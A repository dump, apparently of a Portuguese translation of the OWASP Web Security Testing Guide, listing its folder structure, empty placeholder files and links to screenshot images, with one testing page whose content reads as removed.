├── 5-Relatorios ├── README.md ├── images │ └── .gitkeep ├── 04-Testing_for_Insecure_Direct_Object_References.md └── 03-Testing_for_Privilege_Escalation.md ├── 2-Introducao └── images │ ├── .gitkeep │ ├── SDLC.jpg │ ├── ProportionSDLC.png │ ├── ProportionTest.png │ ├── WindowExposure.png │ └── 640px-UseAndMisuseCase.png ├── 6-Apendice ├── images │ ├── .gitkeep │ ├── f_firefox_ua_switch.png │ ├── f_firefox_cookie_edit.png │ ├── f_chrome_devtools_headers.png │ ├── f_chrome_devtools_offline.png │ ├── f_chrome_devtools_ua_switch.png │ ├── f_firefox_devtools_headers.png │ ├── f_firefox_devtools_offline.png │ ├── f_chrome_responsive_design_mode.png │ └── f_firefox_responsive_design_mode.png ├── README.md ├── C-Fuzz_Vectors.md └── E-History.md ├── 1-Frontispicio ├── images │ ├── .gitkeep │ ├── follow_badge.png │ └── Owasp_logo_icon.jpg └── README.md ├── 4-Testes-Seguranca-Web-Apps ├── README.md ├── 12-Testes-de-API │ ├── README.md │ └── images │ │ ├── .gitkeep │ │ ├── auth1.png │ │ ├── Voyager.png │ │ ├── Playground1.png │ │ └── Playground2.png ├── 01-Coleta-de-Informacoes │ ├── images │ │ ├── .gitkeep │ │ ├── Httprint.jpg │ │ ├── Netcraft2.png │ │ ├── OWASPZAPSP.png │ │ ├── Owasp-Info.jpg │ │ ├── 10_mod_security.jpg │ │ ├── Cakephp_cookie.png │ │ ├── Owasp-wappalyzer.png │ │ ├── Whatweb-sample.png │ │ ├── Zk_html_source.png │ │ ├── wp-syntaxerror.png │ │ ├── Banshee_bottom_page.png │ │ ├── Wordpress_dirbusting.png │ │ ├── Robots-info-disclosure.png │ │ ├── Drupal_botcha_disclosure.png │ │ ├── Google_cache_Operator_Search_Results_Example_20200406.png │ │ └── Google_site_Operator_Search_Results_Example_20200406.png │ ├── 09-Mapa-de-Aplicativos-Web.md │ ├── README.md │ └── 07-Mapear-Fluxos-de-Execucação-do-Applicativo.md ├── 04-Testes-de-Autenticacao │ ├── images │ │ ├── .gitkeep │ │ ├── Basm-sessid.jpg │ │ ├── Basm-sessid2.jpg │ │ ├── Basm-sqlinj.jpg │ │ ├── Basm-sqlinj2.gif │ │ ├── Basm-directreq.jpg │ │ └── Basm-parammod.jpg │ ├── README.md │ ├── 05-Testando-Dicas-de-Recuperação-de-Senhas-Vulneráveis.md │ ├── 07-Testando-de-Politica-de-Senha-Fraca.md │ └── 09-Testando-Funcionalidades- Fracas-para-Alteração-ou-Redefinição-de-Senha.md ├── 11-Testes-a-Nivel-do-Cliente │ ├── images │ │ ├── .gitkeep │ │ ├── XSSI1.jpeg │ │ ├── Storage-xss.png │ │ ├── Masked_iframe.png │ │ ├── WebSocket_Client.png │ │ ├── OWASP_ZAP_WebSockets.png │ │ ├── Clickjacking_description.png │ │ ├── Clickjacking_example_step2.png │ │ ├── Clickjacking_example_malicious_page_1.png │ │ ├── Clickjacking_example_malicious_page_2.png │ │ └── Clickjacking_example_malicious_page_3.png │ ├── README.md │ ├── 02-Testing_for_JavaScript_Execution.md │ ├── 03-Testing_for_HTML_Injection.md │ ├── 04-Testing_for_Client-side_URL_Redirect.md │ ├── 05-Testing_for_CSS_Injection.md │ └── 06-Testing_for_Client-side_Resource_Manipulation.md ├── 06-Testes-Gerenciamento-de-Sessao │ ├── images │ │ ├── .gitkeep │ │ ├── Session_riding.GIF │ │ ├── Session_Riding_Firewall_Management.gif │ │ └── Session_Riding_Firewall_Management_2.gif │ ├── README.md │ ├── 08-Testando-a-Sobrecarga-de-Variáveis-da-Sessão.md │ ├── 09-Testando-o-Sequestro-da-Sessão.md │ └── 06-Teste-de-Funcionalidade-de-Logout.md ├── 09-Testes-para-Criptografia-Fragil │ ├── images │ │ ├── .gitkeep │ │ ├── SSL_Certificate_Validity_Testing_IE_Warning.gif │ │ └── SSL_Certificate_Validity_Testing_Firefox_Warning.gif │ └── README.md ├── 10-Testes-de-Logica-de-Negocios │ ├── images │ │ ├── .gitkeep │ │ └── Control_Flow_of_Login_Form.jpg │ ├── README.md │ ├── 05-Test_Number_of_Times_a_Function_Can_Be_Used_Limits.md │ ├── 04-Test_for_Process_Timing.md │ ├── 08-Test_Upload_of_Unexpected_File_Types.md │ ├── 02-Test_Ability_to_Forge_Requests.md │ ├── 07-Test_Defenses_Against_Application_Misuse.md │ └── 06-Testing_for_the_Circumvention_of_Work_Flows.md ├── 03-Testes-Gerenciamento-de-Identidade │ ├── images │ │ ├── .gitkeep │ │ ├── Userisnotactive.png │ │ ├── Wordpress_useradd.png │ │ ├── AuthenticationFailed.png │ │ ├── Wordpress_authandusers.png │ │ ├── Google_registration_page.jpg │ │ └── Wordpress_registration_page.jpg │ ├── README.md │ ├── 05-Testando-Política-Fraca-ou-Não-Aplicada-de-Nome-de-Usuário.md │ ├── 03-Testar-Processo-de-Provisionamento-de-Conta.md │ ├── 02-Testar-Processo-de-Registro-de-Usuario.md │ └── 01-Testar-Definicoes-de-Funcoes.md ├── 07-Testes-Validacao-de-Entrada-de-Dados │ ├── images │ │ ├── .gitkeep │ │ ├── Alert.png │ │ ├── RubyBeef.png │ │ ├── SSTI_XVWA.jpeg │ │ ├── XSS_Example1.png │ │ ├── XSS_Example2.png │ │ ├── Stored_xss_example.jpg │ │ ├── Imap-smtp-injection.png │ │ ├── Stored_input_example.jpg │ │ └── OPTIONS_verb_tampering.png │ ├── 13-Testing_for_Buffer_Overflow.md │ ├── 03-Testing_for_HTTP_Verb_Tampering.md │ ├── 11-Testing_for_Code_Injection.md │ ├── README.md │ ├── 11.2-Testing_for_Remote_File_Inclusion.md │ ├── 05.8-Testing_for_Client-side.md │ ├── 16-Testing_for_HTTP_Incoming_Requests.md │ ├── 17-Testing_for_Host_Header_Injection.md │ ├── 09-Testing_for_XPath_Injection.md │ ├── 06-Testing_for_LDAP_Injection.md │ ├── 05.7-Testing_for_ORM_Injection.md │ └── 08-Testing_for_SSI_Injection.md ├── 02-Testes-de-Configuracao-e-Gerenciamento-de-Implementacao │ ├── images │ │ ├── .gitkeep │ │ ├── subdomain_takeover_ex1.jpeg │ │ └── subdomain_takeover_ex2.jpeg │ ├── README.md │ ├── 09-Testar-Permissao-de-Arquivo.md │ ├── 07-Testar-Seguranca-de-Transporte-Estrito-HTTP.md │ ├── 11-Testar-Armazenamento-na-Nuvem.md │ └── 08-Testar-Politica-de-Dominio-Cruzado-de-RIA.md ├── 08-Testes-Tratamento-de-Erros │ ├── README.md │ └── 02-Testando-Stack-Traces.md ├── 05-Testes-de-Autorizacao │ └── README.md └── 00-Introducao-e-Objetivos │ └── README.md ├── 3-Framework-Testes-OWASP ├── images │ ├── .gitkeep │ └── Typical_SDLC_Testing_Workflow.gif └── README.md └── README.md /5-Relatorios/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /2-Introducao/images/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /5-Relatorios/images/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /6-Apendice/images/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /1-Frontispicio/images/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /3-Framework-Testes-OWASP/images/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/12-Testes-de-API/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/12-Testes-de-API/images/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/04-Testes-de-Autenticacao/images/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/images/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/06-Testes-Gerenciamento-de-Sessao/images/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/09-Testes-para-Criptografia-Fragil/images/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/10-Testes-de-Logica-de-Negocios/images/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/03-Testes-Gerenciamento-de-Identidade/images/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/images/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/02-Testes-de-Configuracao-e-Gerenciamento-de-Implementacao/images/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /2-Introducao/images/SDLC.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/2-Introducao/images/SDLC.jpg -------------------------------------------------------------------------------- /1-Frontispicio/images/follow_badge.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/1-Frontispicio/images/follow_badge.png -------------------------------------------------------------------------------- /2-Introducao/images/ProportionSDLC.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/2-Introducao/images/ProportionSDLC.png -------------------------------------------------------------------------------- /2-Introducao/images/ProportionTest.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/2-Introducao/images/ProportionTest.png -------------------------------------------------------------------------------- /2-Introducao/images/WindowExposure.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/2-Introducao/images/WindowExposure.png -------------------------------------------------------------------------------- /1-Frontispicio/images/Owasp_logo_icon.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/1-Frontispicio/images/Owasp_logo_icon.jpg -------------------------------------------------------------------------------- /6-Apendice/images/f_firefox_ua_switch.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/6-Apendice/images/f_firefox_ua_switch.png -------------------------------------------------------------------------------- /6-Apendice/images/f_firefox_cookie_edit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/6-Apendice/images/f_firefox_cookie_edit.png -------------------------------------------------------------------------------- /2-Introducao/images/640px-UseAndMisuseCase.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/2-Introducao/images/640px-UseAndMisuseCase.png -------------------------------------------------------------------------------- /6-Apendice/images/f_chrome_devtools_headers.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/6-Apendice/images/f_chrome_devtools_headers.png -------------------------------------------------------------------------------- /6-Apendice/images/f_chrome_devtools_offline.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/6-Apendice/images/f_chrome_devtools_offline.png -------------------------------------------------------------------------------- /6-Apendice/images/f_chrome_devtools_ua_switch.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/6-Apendice/images/f_chrome_devtools_ua_switch.png -------------------------------------------------------------------------------- /6-Apendice/images/f_firefox_devtools_headers.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/6-Apendice/images/f_firefox_devtools_headers.png -------------------------------------------------------------------------------- /6-Apendice/images/f_firefox_devtools_offline.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/6-Apendice/images/f_firefox_devtools_offline.png -------------------------------------------------------------------------------- /6-Apendice/images/f_chrome_responsive_design_mode.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/6-Apendice/images/f_chrome_responsive_design_mode.png -------------------------------------------------------------------------------- /6-Apendice/images/f_firefox_responsive_design_mode.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/6-Apendice/images/f_firefox_responsive_design_mode.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/12-Testes-de-API/images/auth1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/12-Testes-de-API/images/auth1.png -------------------------------------------------------------------------------- /3-Framework-Testes-OWASP/images/Typical_SDLC_Testing_Workflow.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/3-Framework-Testes-OWASP/images/Typical_SDLC_Testing_Workflow.gif -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/12-Testes-de-API/images/Voyager.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/12-Testes-de-API/images/Voyager.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/12-Testes-de-API/images/Playground1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/12-Testes-de-API/images/Playground1.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/12-Testes-de-API/images/Playground2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/12-Testes-de-API/images/Playground2.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/Httprint.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/Httprint.jpg -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/Netcraft2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/Netcraft2.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/OWASPZAPSP.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/OWASPZAPSP.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/Owasp-Info.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/Owasp-Info.jpg -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/images/XSSI1.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/images/XSSI1.jpeg -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/04-Testes-de-Autenticacao/images/Basm-sessid.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/04-Testes-de-Autenticacao/images/Basm-sessid.jpg -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/04-Testes-de-Autenticacao/images/Basm-sessid2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/04-Testes-de-Autenticacao/images/Basm-sessid2.jpg -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/04-Testes-de-Autenticacao/images/Basm-sqlinj.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/04-Testes-de-Autenticacao/images/Basm-sqlinj.jpg -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/04-Testes-de-Autenticacao/images/Basm-sqlinj2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/04-Testes-de-Autenticacao/images/Basm-sqlinj2.gif -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/10_mod_security.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/10_mod_security.jpg -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/Cakephp_cookie.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/Cakephp_cookie.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/Owasp-wappalyzer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/Owasp-wappalyzer.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/Whatweb-sample.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/Whatweb-sample.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/Zk_html_source.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/Zk_html_source.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/wp-syntaxerror.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/wp-syntaxerror.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/04-Testes-de-Autenticacao/images/Basm-directreq.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/04-Testes-de-Autenticacao/images/Basm-directreq.jpg -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/04-Testes-de-Autenticacao/images/Basm-parammod.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/04-Testes-de-Autenticacao/images/Basm-parammod.jpg -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/images/Storage-xss.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/images/Storage-xss.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/images/Masked_iframe.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/images/Masked_iframe.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/Banshee_bottom_page.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/Banshee_bottom_page.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/Wordpress_dirbusting.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/Wordpress_dirbusting.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/images/Alert.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/images/Alert.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/images/WebSocket_Client.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/images/WebSocket_Client.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/Robots-info-disclosure.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/Robots-info-disclosure.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/06-Testes-Gerenciamento-de-Sessao/images/Session_riding.GIF: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/06-Testes-Gerenciamento-de-Sessao/images/Session_riding.GIF -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/13-Testing_for_Buffer_Overflow.md: -------------------------------------------------------------------------------- 1 | # Testing for Buffer Overflow 2 | 3 | |ID | 4 | |------------| 5 | |WSTG-INPV-13| 6 | 7 | This content has been removed 8 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/images/RubyBeef.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/images/RubyBeef.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/Drupal_botcha_disclosure.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/Drupal_botcha_disclosure.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/images/SSTI_XVWA.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/images/SSTI_XVWA.jpeg -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/images/OWASP_ZAP_WebSockets.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/images/OWASP_ZAP_WebSockets.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/03-Testes-Gerenciamento-de-Identidade/images/Userisnotactive.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/03-Testes-Gerenciamento-de-Identidade/images/Userisnotactive.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/images/XSS_Example1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/images/XSS_Example1.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/images/XSS_Example2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/images/XSS_Example2.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/images/Clickjacking_description.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/images/Clickjacking_description.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/03-Testes-Gerenciamento-de-Identidade/images/Wordpress_useradd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/03-Testes-Gerenciamento-de-Identidade/images/Wordpress_useradd.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/images/Clickjacking_example_step2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/images/Clickjacking_example_step2.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/03-Testes-Gerenciamento-de-Identidade/images/AuthenticationFailed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/03-Testes-Gerenciamento-de-Identidade/images/AuthenticationFailed.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/images/Stored_xss_example.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/images/Stored_xss_example.jpg -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/10-Testes-de-Logica-de-Negocios/images/Control_Flow_of_Login_Form.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/10-Testes-de-Logica-de-Negocios/images/Control_Flow_of_Login_Form.jpg -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/03-Testes-Gerenciamento-de-Identidade/images/Wordpress_authandusers.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/03-Testes-Gerenciamento-de-Identidade/images/Wordpress_authandusers.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/images/Imap-smtp-injection.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/images/Imap-smtp-injection.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/images/Stored_input_example.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/images/Stored_input_example.jpg -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/03-Testes-Gerenciamento-de-Identidade/images/Google_registration_page.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/03-Testes-Gerenciamento-de-Identidade/images/Google_registration_page.jpg -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/images/OPTIONS_verb_tampering.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/images/OPTIONS_verb_tampering.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/03-Testes-Gerenciamento-de-Identidade/images/Wordpress_registration_page.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/03-Testes-Gerenciamento-de-Identidade/images/Wordpress_registration_page.jpg -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/images/Clickjacking_example_malicious_page_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/images/Clickjacking_example_malicious_page_1.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/images/Clickjacking_example_malicious_page_2.png: -------------------------------------------------------------------------------- 